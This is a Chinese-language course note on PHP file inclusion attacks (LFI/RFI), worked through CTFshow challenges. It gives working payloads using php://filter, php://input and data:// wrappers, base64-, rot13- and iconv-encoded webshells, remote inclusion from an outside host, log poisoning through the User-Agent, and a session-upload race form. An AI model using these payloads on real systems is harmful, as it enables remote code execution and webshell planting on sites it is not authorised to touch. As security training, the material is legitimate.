0%

第69天-文件包含&LFI&RFI&伪协议条件&编码算法&无文件利用&JAVA应用&SRC复盘

演示案例:

WEB攻防-文件包含-LFI&RFI&伪协议&无文件

➢ WEB攻防-文件包含-PHP&JAVA&SRC复盘

一、漏洞原理

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存在文件包含漏洞

安全写法:include(“路径”)

不安全写法:include($_GET[‘file’])

我们能控制那就存在漏洞

二、分类

1、本地包含-Local File Include-LFI

?file=1.txt

利用:

有文件利用:上传一个文件,文件带有我们写的恶意代码(配合上传)

无文件利用:

1、包含日志文件利用(CTFSHOW 81.81)

php和data被过滤,只剩file能用但是要完整路径,所以去找日志文件路径,发现会记录我的ua信息,所以我们发包,在ua那里上传后门或命令执行,日志本身不能执行代码,是因为include函数把日志中的php代码执行了

2、包含Session文件利用(CTFSHOW82-86)

:::info

这是一个上传文件的网页,上传一个文件后自动生成一个Session,Session里面写后面value值,也就是木马,但是文件上传后就会自动删除,所以要结合条件竞争,我们抓包然后Sessionid自定义,然后疯狂发包,然后访问这个Session路径疯狂发包,

:::

3、伪协议玩法利用

文件读取:

file:///etc/passwd需要绝对路径

php://filter/read=convert.base64-encode/resource=相对路径

文件写入:

php://input POST:‘)?>

php://filter/write=convert.base64-encode/resource=相对路径

代码执行:

php://input POST:

data://text/plain,

data://text/plain;base64,加密字符串

2、远程包含-remote file include RFI

allow_url_include开关必须是开的,但是PHP高版本默认关闭

?file=https://xiaodi8.com

直接搭建一个可访问的远程url包含文件

差异原因:代码过滤和环境配置文件开关决定

三、白盒审计:(CTFSHOW)

-白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

PHP:include、require、include_once、require_once等

include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行

require函数出现错误的时候,会直接报错并退出程序的执行

Java:java.io.File、java.io.FileReader等

ASP.NET:System.IO.FileStream、System.IO.StreamReader等

3、黑盒分析:

-黑盒发现:主要观察参数传递的数据和文件名是否对应

URL中有path、dir、file、page、archive、eng、语言文件等相关字眼

四、CTF题

https://ctf.show/challenges

78-php&http协议

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

payload: ?file=php://input post:<?php system(‘tac flag.php’);?>

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system(‘tac flag.php’);?>

79-data&http协议

payload: ?file=data://text/plain,<?=system(‘tac flag.*’);?>

payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system(‘tac flag.php’);?>

8081-日志包含

1、利用其他协议,如file,zlib等

2、利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃

故利用日志记录UA信息,UA带入代码

包含:/var/log/nginx/access.log

82-86-SESSION包含

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

自定义session名字,条件竞争访问session文件,触发创建新文件

<!DOCTYPE html>

<html>

<body>

<form action=http://xxxx.ctf.show/method=“POST”enctype=“multipart/form-data”>

<input type=“hidden”name=“PHP_SESSION_UPLOAD_PROGRESS”value=‘?>” />

<input type=“file”name=“file” />

<input type=“submit”value=“submit” />

</form>

</body>

</html>

https://www.cnblogs.com/lnterpreter/p/14086164.html

https://www.cnblogs.com/echoDetected/p/13976405.html

87-php://filter/write&加密编码

1、利用base64:

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13:

url编码2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG[1]);?>

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

117-php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

<?php

$result= iconv(“UCS-2LE”,“UCS-2BE”, );

echo“经过一次反转:”.$result.“\n”;

echo“经过第二次反转:”.iconv(“UCS-2LE”,“UCS-2BE”, $result);

?>

Payload:?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?

五、实战方向:

SRC复盘报告

https://mp.weixin.qq.com/s/hMUDDgRSPY6ybznYBRZ20Q